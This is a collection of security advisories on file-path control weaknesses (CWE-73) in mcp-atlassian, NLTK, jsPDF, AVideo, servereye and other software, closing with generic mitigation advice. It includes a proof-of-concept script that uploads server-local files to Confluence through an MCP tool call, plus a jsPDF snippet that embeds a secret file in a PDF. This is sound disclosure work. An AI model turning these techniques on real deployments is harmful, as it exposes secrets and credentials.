attachmentsargument as a JSON array string or comma-separated string. - Converts it into attachment paths and passes them into the Jira update flow.
The project also documents non-stdio deployment modes:
ssestreamable-http- multi-user authentication
- Docker and Kubernetes deployment
Therefore the upload path arguments should not be treated as if they always come from a single fully trusted local desktop user. In an HTTP or multi-user deployment, the caller and the server-local filesystem are separate security boundaries.
The core issue is that the MCP caller can choose a path, while the MCP server reads that path using the server process privileges and sends the bytes to a remote Jira or Confluence attachment endpoint.
Expected behavior:
- Server-local file uploads should be denied by default in HTTP/SSE or multi-user deployments, or
- Uploads should be constrained to an explicit allowlisted upload directory after realpath resolution, and
- Dangerous path forms such as remote UNC paths and
file://URLs should be rejected before filesystem checks.
PoC
The following proof of concept uses a benign temporary file generated at runtime. It does not rely on prompt injection or any AI/LLM behavior. It uses a normal MCP client call against a test Confluence page controlled by the tester.
Prerequisites:
- A test Confluence site.
- A test page content ID where the tester is allowed to upload attachments.
- A test Confluence API token or another supported authentication method.
- Python 3.10 or newer.
Start mcp-atlassian in HTTP mode:
docker run --rm -p 9000:9000 \
-e CONFLUENCE_URL="https://<your-test-site>.atlassian.net/wiki" \
-e CONFLUENCE_USERNAME="<tester-email>" \
-e CONFLUENCE_API_TOKEN="<tester-api-token>" \
ghcr.io/sooperset/mcp-atlassian:latest \
--transport streamable-http --host 0.0.0.0 --port 9000
Install the MCP Python client:
python -m pip install "mcp>=1.8.0"
Run this standalone client script:
import asyncio
import os
import tempfile
from pathlib import Path
from mcp import ClientSession
from mcp.client.streamable_http import streamablehttp_client
async def main() -> None:
mcp_url = os.environ.get("MCP_URL", "http://127.0.0.1:9000/mcp")
content_id = os.environ["CONFLUENCE_CONTENT_ID"]
proof_dir = Path(tempfile.mkdtemp(prefix="mcp-atlassian-proof-"))
proof_file = proof_dir / "server-local-proof.txt"
proof_file.write_text(
"This benign file was read from the MCP server filesystem and uploaded by an MCP tool call.\n",
encoding="utf-8",
)
async with streamablehttp_client(mcp_url) as (read_stream, write_stream, _):
async with ClientSession(read_stream, write_stream) as session:
await session.initialize()
result = await session.call_tool(
"confluence_upload_attachments",
{
"content_id": content_id,
"file_paths": str(proof_file),
"comment": "Security test: benign server-local upload proof",
"minor_edit": True,
},
)
print(result)
print(f"Uploaded test filename: {proof_file.name}")
if __name__ == "__main__":
asyncio.run(main())
Run it with the test page ID:
CONFLUENCE_CONTENT_ID="<test-page-content-id>" python poc.py
Observed result:
- The MCP client sends a normal
confluence_upload_attachmentstool call. - The MCP server reads the temporary file from its own filesystem.
- The MCP server uploads that file as an attachment to the configured Confluence page.
- The uploaded attachment appears on the test page.
Security significance:
- The MCP caller did not need shell access to the server.
- The MCP caller did not need direct filesystem access to the server.
- The MCP caller only needed permission to invoke the upload tool.
- The file read happened with the privileges of the MCP server process.
The same class of issue applies to Jira attachment upload flows that accept caller-controlled file path parameters.
Impact
This is a server-local file disclosure and exfiltration primitive through attachment upload tools.
Impacted users:
- Users running
mcp-atlassianwith write/upload tools enabled. - Operators exposing
mcp-atlassianthroughsseorstreamable-http. - Multi-user deployments where MCP callers are not fully trusted with arbitrary read access to the MCP server filesystem.
- Docker or Kubernetes deployments where the MCP process can read environment files, mounted secrets, service account tokens, application configuration, or shared volumes.
Potential attacker:
- A malicious or compromised MCP client with permission to invoke attachment upload tools.
- A malicious user in a multi-user MCP deployment.
- An attacker who can supply or influence MCP tool arguments through an integrated workflow.
Potentially exposed data depends on the deployment, but can include files readable by the MCP server process, such as:
- application configuration
- deployment secrets
- cloud or service credentials mounted into the runtime
- CI/CD or automation tokens
- other files available to the MCP server user
This issue does not require prior compromise of the internal network in deployments where the MCP service is intentionally exposed over HTTP/SSE to multiple users or external MCP clients. The attacker only needs the ability to invoke the upload tool. The server then reads the chosen path with its own process privileges and uploads it to Jira or Confluence.
If the intended security model is that every MCP caller is fully trusted with arbitrary read access to the server filesystem, that should be documented explicitly. Otherwise, server-local file path uploads should be opt-in and constrained to a configured upload root.
Suggested fixes:
- Default-deny server-local path uploads in HTTP/SSE and multi-user deployments.
- Add an explicit opt-in flag for server-local upload paths.
- Require an allowlisted upload root and enforce it after realpath resolution.
- Reject
file://URLs and remote UNC path forms before any filesystem operation. - Prefer client-provided file/resource blobs over server-local path strings for remote MCP deployments.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mcp-atlassian"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.22.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-77247"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-22T20:36:29Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThe Jira and Confluence attachment upload tools accept caller-controlled file path parameters and read those paths from the MCP server\u0027s local filesystem before uploading the file as an Atlassian attachment.\n\nIn local `stdio` deployments, this can expose files readable by the user\u0027s MCP process. In documented HTTP/SSE or `streamable-http` deployments, the impact is higher: any MCP client that is allowed to invoke write/upload tools can cause the server process to read a server-local file and upload it to Jira or Confluence.\n\nThis is not dependent on an AI prompt injection or model behavior. It can be triggered deterministically with a normal MCP tool call.\n\n## Details\n\nThe vulnerable behavior exists because upload tool arguments are treated as server-local filesystem paths.\n\nRelevant implementation points:\n\n- `mcp_atlassian.confluence.attachments.AttachmentsMixin.upload_attachment`\n - Accepts `file_path`.\n - Converts the supplied value to an absolute path when needed.\n - Checks existence with `os.path.exists`.\n - Passes the path into the attachment upload flow.\n\n- `mcp_atlassian.confluence.attachments.AttachmentsMixin._upload_attachment_direct`\n - Opens the supplied `file_path` with `open(file_path, \"rb\")`.\n - Sends the resulting file object as multipart form data to Confluence.\n\n- `mcp_atlassian.confluence.attachments.AttachmentsMixin.upload_attachments`\n - Iterates caller-supplied `file_paths`.\n - Calls `upload_attachment` for each path.\n\n- `mcp_atlassian.jira.attachments.AttachmentsMixin.upload_attachment`\n - Accepts `file_path`.\n - Converts the supplied value to an absolute path when needed.\n - Checks existence with `os.path.exists`.\n - Opens the file and uploads it as a Jira attachment.\n\n- `mcp_atlassian.jira.attachments.AttachmentsMixin.upload_attachments`\n - Iterates caller-supplied `file_paths`.\n - Calls `upload_attachment` for each path.\n\n- `mcp_atlassian.servers.jira.update_issue`\n - Accepts an `attachments` argument as a JSON array string or comma-separated string.\n - Converts it into attachment paths and passes them into the Jira update flow.\n\nThe project also documents non-stdio deployment modes:\n\n- `sse`\n- `streamable-http`\n- multi-user authentication\n- Docker and Kubernetes deployment\n\nTherefore the upload path arguments should not be treated as if they always come from a single fully trusted local desktop user. In an HTTP or multi-user deployment, the caller and the server-local filesystem are separate security boundaries.\n\nThe core issue is that the MCP caller can choose a path, while the MCP server reads that path using the server process privileges and sends the bytes to a remote Jira or Confluence attachment endpoint.\n\nExpected behavior:\n\n- Server-local file uploads should be denied by default in HTTP/SSE or multi-user deployments, or\n- Uploads should be constrained to an explicit allowlisted upload directory after realpath resolution, and\n- Dangerous path forms such as remote UNC paths and `file://` URLs should be rejected before filesystem checks.\n\n## PoC\n\nThe following proof of concept uses a benign temporary file generated at runtime. It does not rely on prompt injection or any AI/LLM behavior. It uses a normal MCP client call against a test Confluence page controlled by the tester.\n\nPrerequisites:\n\n- A test Confluence site.\n- A test page content ID where the tester is allowed to upload attachments.\n- A test Confluence API token or another supported authentication method.\n- Python 3.10 or newer.\n\nStart `mcp-atlassian` in HTTP mode:\n\n```bash\ndocker run --rm -p 9000:9000 \\\n -e CONFLUENCE_URL=\"https://\u003cyour-test-site\u003e.atlassian.net/wiki\" \\\n -e CONFLUENCE_USERNAME=\"\u003ctester-email\u003e\" \\\n -e CONFLUENCE_API_TOKEN=\"\u003ctester-api-token\u003e\" \\\n ghcr.io/sooperset/mcp-atlassian:latest \\\n --transport streamable-http --host 0.0.0.0 --port 9000\n```\n\nInstall the MCP Python client:\n\n```bash\npython -m pip install \"mcp\u003e=1.8.0\"\n```\n\nRun this standalone client script:\n\n```python\nimport asyncio\nimport os\nimport tempfile\nfrom pathlib import Path\n\nfrom mcp import ClientSession\nfrom mcp.client.streamable_http import streamablehttp_client\n\n\nasync def main() -\u003e None:\n mcp_url = os.environ.get(\"MCP_URL\", \"http://127.0.0.1:9000/mcp\")\n content_id = os.environ[\"CONFLUENCE_CONTENT_ID\"]\n\n proof_dir = Path(tempfile.mkdtemp(prefix=\"mcp-atlassian-proof-\"))\n proof_file = proof_dir / \"server-local-proof.txt\"\n proof_file.write_text(\n \"This benign file was read from the MCP server filesystem and uploaded by an MCP tool call.\\n\",\n encoding=\"utf-8\",\n )\n\n async with streamablehttp_client(mcp_url) as (read_stream, write_stream, _):\n async with ClientSession(read_stream, write_stream) as session:\n await session.initialize()\n result = await session.call_tool(\n \"confluence_upload_attachments\",\n {\n \"content_id\": content_id,\n \"file_paths\": str(proof_file),\n \"comment\": \"Security test: benign server-local upload proof\",\n \"minor_edit\": True,\n },\n )\n print(result)\n print(f\"Uploaded test filename: {proof_file.name}\")\n\n\nif __name__ == \"__main__\":\n asyncio.run(main())\n```\n\nRun it with the test page ID:\n\n```bash\nCONFLUENCE_CONTENT_ID=\"\u003ctest-page-content-id\u003e\" python poc.py\n```\n\nObserved result:\n\n1. The MCP client sends a normal `confluence_upload_attachments` tool call.\n2. The MCP server reads the temporary file from its own filesystem.\n3. The MCP server uploads that file as an attachment to the configured Confluence page.\n4. The uploaded attachment appears on the test page.\n\nSecurity significance:\n\n- The MCP caller did not need shell access to the server.\n- The MCP caller did not need direct filesystem access to the server.\n- The MCP caller only needed permission to invoke the upload tool.\n- The file read happened with the privileges of the MCP server process.\n\nThe same class of issue applies to Jira attachment upload flows that accept caller-controlled file path parameters.\n\n## Impact\n\nThis is a server-local file disclosure and exfiltration primitive through attachment upload tools.\n\nImpacted users:\n\n- Users running `mcp-atlassian` with write/upload tools enabled.\n- Operators exposing `mcp-atlassian` through `sse` or `streamable-http`.\n- Multi-user deployments where MCP callers are not fully trusted with arbitrary read access to the MCP server filesystem.\n- Docker or Kubernetes deployments where the MCP process can read environment files, mounted secrets, service account tokens, application configuration, or shared volumes.\n\nPotential attacker:\n\n- A malicious or compromised MCP client with permission to invoke attachment upload tools.\n- A malicious user in a multi-user MCP deployment.\n- An attacker who can supply or influence MCP tool arguments through an integrated workflow.\n\nPotentially exposed data depends on the deployment, but can include files readable by the MCP server process, such as:\n\n- application configuration\n- deployment secrets\n- cloud or service credentials mounted into the runtime\n- CI/CD or automation tokens\n- other files available to the MCP server user\n\nThis issue does not require prior compromise of the internal network in deployments where the MCP service is intentionally exposed over HTTP/SSE to multiple users or external MCP clients. The attacker only needs the ability to invoke the upload tool. The server then reads the chosen path with its own process privileges and uploads it to Jira or Confluence.\n\nIf the intended security model is that every MCP caller is fully trusted with arbitrary read access to the server filesystem, that should be documented explicitly. Otherwise, server-local file path uploads should be opt-in and constrained to a configured upload root.\n\nSuggested fixes:\n\n- Default-deny server-local path uploads in HTTP/SSE and multi-user deployments.\n- Add an explicit opt-in flag for server-local upload paths.\n- Require an allowlisted upload root and enforce it after realpath resolution.\n- Reject `file://` URLs and remote UNC path forms before any filesystem operation.\n- Prefer client-provided file/resource blobs over server-local path strings for remote MCP deployments.",
"id": "GHSA-f6pj-qv47-g96w",
"modified": "2026-09-22T20:36:29Z",
"published": "2026-09-22T20:36:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-f6pj-qv47-g96w"
},
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/pull/1448"
},
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"
},
{
"type": "PACKAGE",
"url": "https://github.com/sooperset/mcp-atlassian"
},
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "MCP Atlassian: Arbitrary server-local file upload to Jira/Confluence attachments via unrestricted file_path parameters"
}
GHSA-F6VJ-43FG-42HG
Vulnerability from github – Published: 2022-08-23 00:00 – Updated: 2022-08-27 00:00An information disclosure vulnerability exists in the aVideoEncoderReceiveImage functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to arbitrary file read. An attacker can send an HTTP request to trigger this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2022-32761"
],
"database_specific": {
"cwe_ids": [
"CWE-610",
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-08-22T19:15:00Z",
"severity": "MODERATE"
},
"details": "An information disclosure vulnerability exists in the aVideoEncoderReceiveImage functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to arbitrary file read. An attacker can send an HTTP request to trigger this vulnerability.",
"id": "GHSA-f6vj-43fg-42hg",
"modified": "2022-08-27T00:00:50Z",
"published": "2022-08-23T00:00:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-32761"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/blob/e04b1cd7062e16564157a82bae389eedd39fa088/updatedb/updateDb.v12.0.sql"
},
{
"type": "WEB",
"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2022-1549"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-F794-5JV7-7672
Vulnerability from github – Published: 2026-09-02 14:35 – Updated: 2026-09-02 14:35Summary
NLTK's downloader now blocks symlink escapes during ZIP extraction, but it still treats pre-existing hardlinks inside the install tree as ordinary in-root files. A normal package install can therefore overwrite an outside-root inode through that hardlink.
Details
- Vulnerability type: Filesystem containment bypass
- Affected component:
nltk.downloader.Downloader.download,nltk.downloader.Downloader.incr_download - Affected versions: Published
3.9.4and current sourcev3.10.0-rc2both reproduced for the extraction-stage overwrite. - Patched versions: 3.10.3
- Root cause: The downloader validates traversal and symlink conditions but does not reject pre-existing hardlink aliases inside the install tree.
The install flow correctly rejects a pre-existing symlink at an extraction target, yet it accepts a pre-existing hardlink at the same path. When the package is installed, extracted member data is written through the hardlink and mutates the outside inode.
PoC
Preconditions - The attacker can plant files inside a writable shared downloader root on the same filesystem as the target file.
Steps
1. Prepare a downloader root and create a hardlink inside it that points to an outside target file.
2. Confirm a symlink at the same path is rejected as a negative control.
3. Run a normal Downloader.download() package install whose extracted member lands on the hardlink path.
4. Observe the outside target file is overwritten while the downloader still reports the package as installed.
Minimal reproducible excerpt
extract_hardlink_before ORIGINAL
extract_hardlink_after PWNED
extract_hardlink_status installed
Impact
A shared or attacker-influenced downloader directory can be turned into an overwrite primitive against same-filesystem files outside the intended install root.
Remediation
Treat pre-existing hardlinks as unsafe in extraction targets, verify that each write path stays within the intended install tree at the inode level, and add regression tests that pair hardlinks with existing symlink controls.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.10.2"
},
"package": {
"ecosystem": "PyPI",
"name": "nltk"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.10.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-81727"
],
"database_specific": {
"cwe_ids": [
"CWE-59",
"CWE-61",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-02T14:35:41Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nNLTK\u0027s downloader now blocks symlink escapes during ZIP extraction, but it still treats pre-existing hardlinks inside the install tree as ordinary in-root files. A normal package install can therefore overwrite an outside-root inode through that hardlink.\n\n### Details\n\n- **Vulnerability type:** Filesystem containment bypass\n- **Affected component:** `nltk.downloader.Downloader.download`, `nltk.downloader.Downloader.incr_download`\n- **Affected versions:** Published `3.9.4` and current source `v3.10.0-rc2` both reproduced for the extraction-stage overwrite.\n- **Patched versions:** 3.10.3\n- **Root cause:** The downloader validates traversal and symlink conditions but does not reject pre-existing hardlink aliases inside the install tree.\n\nThe install flow correctly rejects a pre-existing symlink at an extraction target, yet it accepts a pre-existing hardlink at the same path. When the package is installed, extracted member data is written through the hardlink and mutates the outside inode.\n\n### PoC\n\n**Preconditions**\n- The attacker can plant files inside a writable shared downloader root on the same filesystem as the target file.\n\n**Steps**\n1. Prepare a downloader root and create a hardlink inside it that points to an outside target file.\n2. Confirm a symlink at the same path is rejected as a negative control.\n3. Run a normal `Downloader.download()` package install whose extracted member lands on the hardlink path.\n4. Observe the outside target file is overwritten while the downloader still reports the package as installed.\n\n**Minimal reproducible excerpt**\n\n```text\nextract_hardlink_before ORIGINAL\nextract_hardlink_after PWNED\nextract_hardlink_status installed\n```\n\n### Impact\n\nA shared or attacker-influenced downloader directory can be turned into an overwrite primitive against same-filesystem files outside the intended install root.\n\n### Remediation\n\nTreat pre-existing hardlinks as unsafe in extraction targets, verify that each write path stays within the intended install tree at the inode level, and add regression tests that pair hardlinks with existing symlink controls.",
"id": "GHSA-f794-5jv7-7672",
"modified": "2026-09-02T14:35:41Z",
"published": "2026-09-02T14:35:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-f794-5jv7-7672"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-81727"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/pull/3797"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/commit/9e6d5f05902b9aaa1221a0a565448d17a9c9b3e8"
},
{
"type": "PACKAGE",
"url": "https://github.com/nltk/nltk"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/releases/tag/v3.10.3"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3741.yaml"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/nltk-before-3.10.3-hardlink-file-overwrite-via-downloader"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "NLTK: Downloader.download follows hardlinks and overwrites outside-root files"
}
GHSA-F855-FWHM-RV39
Vulnerability from github – Published: 2025-09-11 09:31 – Updated: 2026-04-08 18:33The Propovoice: All-in-One Client Management System plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 1.7.6.7 via the send_email() function. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information.
{
"affected": [],
"aliases": [
"CVE-2025-8422"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-11T08:15:33Z",
"severity": "HIGH"
},
"details": "The Propovoice: All-in-One Client Management System plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 1.7.6.7 via the send_email() function. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information.",
"id": "GHSA-f855-fwhm-rv39",
"modified": "2026-04-08T18:33:55Z",
"published": "2025-09-11T09:31:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8422"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/propovoice/trunk/includes/Api/Type/Email.php#L275"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3361482/propovoice/trunk/includes/Api/Type/Email.php"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/3ac72d7a-9540-435f-93cb-fdd4104b18f7?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-F8CM-6447-X5H2
Vulnerability from github – Published: 2026-01-05 17:35 – Updated: 2026-01-06 15:51Impact
User control of the first argument of the loadFile method in the node.js build allows local file inclusion/path traversal.
If given the possibility to pass unsanitized paths to the loadFile method, a user can retrieve file contents of arbitrary files in the local file system the node process is running in. The file contents are included verbatim in the generated PDFs.
Other affected methods are: addImage, html, addFont.
Only the node.js builds of the library are affected, namely the dist/jspdf.node.js and dist/jspdf.node.min.js files.
Example attack vector:
import { jsPDF } from "./dist/jspdf.node.js";
const doc = new jsPDF();
doc.addImage("./secret.txt", "JPEG", 0, 0, 10, 10);
doc.save("test.pdf"); // the generated PDF will contain the "secret.txt" file
Patches
The vulnerability has been fixed in jsPDF@4.0.0. This version restricts file system access per default. This semver-major update does not introduce other breaking changes.
Workarounds
With recent node versions, jsPDF recommends using the --permission flag in production. The feature was introduced experimentally in v20.0.0 and is stable since v22.13.0/v23.5.0/v24.0.0. See the node documentation for details.
For older node versions, sanitize user-provided paths before passing them to jsPDF.
Credits
Researcher: kilkat (Kwangwoon Kim)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.0.4"
},
"package": {
"ecosystem": "npm",
"name": "jspdf"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-68428"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-35",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-05T17:35:29Z",
"nvd_published_at": "2026-01-05T22:15:51Z",
"severity": "CRITICAL"
},
"details": "### Impact\nUser control of the first argument of the loadFile method in the node.js build allows local file inclusion/path traversal.\n\nIf given the possibility to pass unsanitized paths to the loadFile method, a user can retrieve file contents of arbitrary files in the local file system the node process is running in. The file contents are included verbatim in the generated PDFs.\n\nOther affected methods are: `addImage`, `html`, `addFont`.\n\nOnly the node.js builds of the library are affected, namely the `dist/jspdf.node.js` and `dist/jspdf.node.min.js` files.\n\nExample attack vector:\n\n```js\nimport { jsPDF } from \"./dist/jspdf.node.js\";\n\nconst doc = new jsPDF();\n\ndoc.addImage(\"./secret.txt\", \"JPEG\", 0, 0, 10, 10);\ndoc.save(\"test.pdf\"); // the generated PDF will contain the \"secret.txt\" file\n```\n\n### Patches\nThe vulnerability has been fixed in jsPDF@4.0.0. This version restricts file system access per default. This semver-major update does not introduce other breaking changes.\n\n### Workarounds\nWith recent node versions, jsPDF recommends using the `--permission` flag in production. The feature was introduced experimentally in v20.0.0 and is stable since v22.13.0/v23.5.0/v24.0.0. See the [node documentation](https://nodejs.org/api/permissions.html) for details.\n\nFor older node versions, sanitize user-provided paths before passing them to jsPDF.\n\n### Credits\nResearcher: kilkat (Kwangwoon Kim)",
"id": "GHSA-f8cm-6447-x5h2",
"modified": "2026-01-06T15:51:57Z",
"published": "2026-01-05T17:35:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/parallax/jsPDF/security/advisories/GHSA-f8cm-6447-x5h2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68428"
},
{
"type": "WEB",
"url": "https://github.com/parallax/jsPDF/commit/a688c8f479929b24a6543b1fa2d6364abb03066d"
},
{
"type": "PACKAGE",
"url": "https://github.com/parallax/jsPDF"
},
{
"type": "WEB",
"url": "https://github.com/parallax/jsPDF/releases/tag/v4.0.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "jsPDF has Local File Inclusion/Path Traversal vulnerability"
}
GHSA-FC2G-VX9Q-C76V
Vulnerability from github – Published: 2024-07-11 03:30 – Updated: 2024-07-11 03:30External Control of File Name or Path (CWE-73) in the Controller 6000 and Controller 7000 allows an attacker with local access to the Controller to perform arbitrary code execution.
This issue affects: 9.10 prior to vCR9.10.240520a (distributed in 9.10.1268(MR1)), 9.00 prior to vCR9.00.240521a (distributed in 9.00.1990(MR3)), 8.90 prior to vCR8.90.240520a (distributed in 8.90.1947 (MR4)), 8.80 prior to vCR8.80.240520a (distributed in 8.80.1726 (MR5)), 8.70 prior to vCR8.70.240520a (distributed in 8.70.2824 (MR7)), all versions of 8.60 and prior.
{
"affected": [],
"aliases": [
"CVE-2024-23317"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-11T03:15:03Z",
"severity": "MODERATE"
},
"details": "External Control of File Name or Path (CWE-73) in the Controller 6000 and Controller 7000 allows an attacker with local access to the Controller to perform arbitrary code execution. \n\nThis issue affects:\u00a09.10 prior to vCR9.10.240520a (distributed in 9.10.1268(MR1)), 9.00 prior to vCR9.00.240521a (distributed in 9.00.1990(MR3)), 8.90 prior to vCR8.90.240520a (distributed in 8.90.1947 (MR4)), 8.80 prior to vCR8.80.240520a (distributed in 8.80.1726 (MR5)), 8.70 prior to vCR8.70.240520a (distributed in 8.70.2824 (MR7)), all versions of 8.60 and prior.",
"id": "GHSA-fc2g-vx9q-c76v",
"modified": "2024-07-11T03:30:55Z",
"published": "2024-07-11T03:30:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-23317"
},
{
"type": "WEB",
"url": "https://security.gallagher.com/Security-Advisories/CVE-2024-23317"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-FC5X-R66H-VP5F
Vulnerability from github – Published: 2026-07-22 12:32 – Updated: 2026-07-22 12:32The servereye client (also known as sensorhub, technically ClientAgentContainerService) versions 20.15 and earlier are vulnerable to Local Privilege Escalation. The high-privileged service SE3Recovery (EmergencyRecoveryService.exe), running as SYSTEM, periodically monitors the directory %ProgramData%\ServerEye3\update\ for a trigger file named "update_available". Due to insufficient access restrictions on this directory, a local standard user can create the trigger file and provide a path to a directory containing malicious JSON instructions. The service subsequently executes the utility UpdaterAction.exe with SYSTEM privileges, which parses the instructions and performs an unvalidated file copy from a user-controlled source to a protected system destination (e.g., overwriting a service binary). This leads to full system compromise as the service automatically restarts the overwritten binary with SYSTEM privileges.
{
"affected": [],
"aliases": [
"CVE-2026-14551"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-22T10:17:13Z",
"severity": "HIGH"
},
"details": "The servereye client (also known as sensorhub, technically ClientAgentContainerService) versions 20.15 and earlier are vulnerable to Local Privilege Escalation. The high-privileged service SE3Recovery (EmergencyRecoveryService.exe), running as SYSTEM, periodically monitors the directory %ProgramData%\\ServerEye3\\update\\ for a trigger file named \"update_available\". Due to insufficient access restrictions on this directory, a local standard user can create the trigger file and provide a path to a directory containing malicious JSON instructions. The service subsequently\u00a0executes the utility UpdaterAction.exe with SYSTEM privileges, which parses the instructions and performs an unvalidated file copy from a user-controlled source to a protected system destination (e.g., overwriting a service binary). This leads to full system compromise as the service automatically restarts the overwritten binary with SYSTEM privileges.",
"id": "GHSA-fc5x-r66h-vp5f",
"modified": "2026-07-22T12:32:15Z",
"published": "2026-07-22T12:32:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-14551"
},
{
"type": "WEB",
"url": "https://www.servereye.de/security-bulletins/2026-001"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
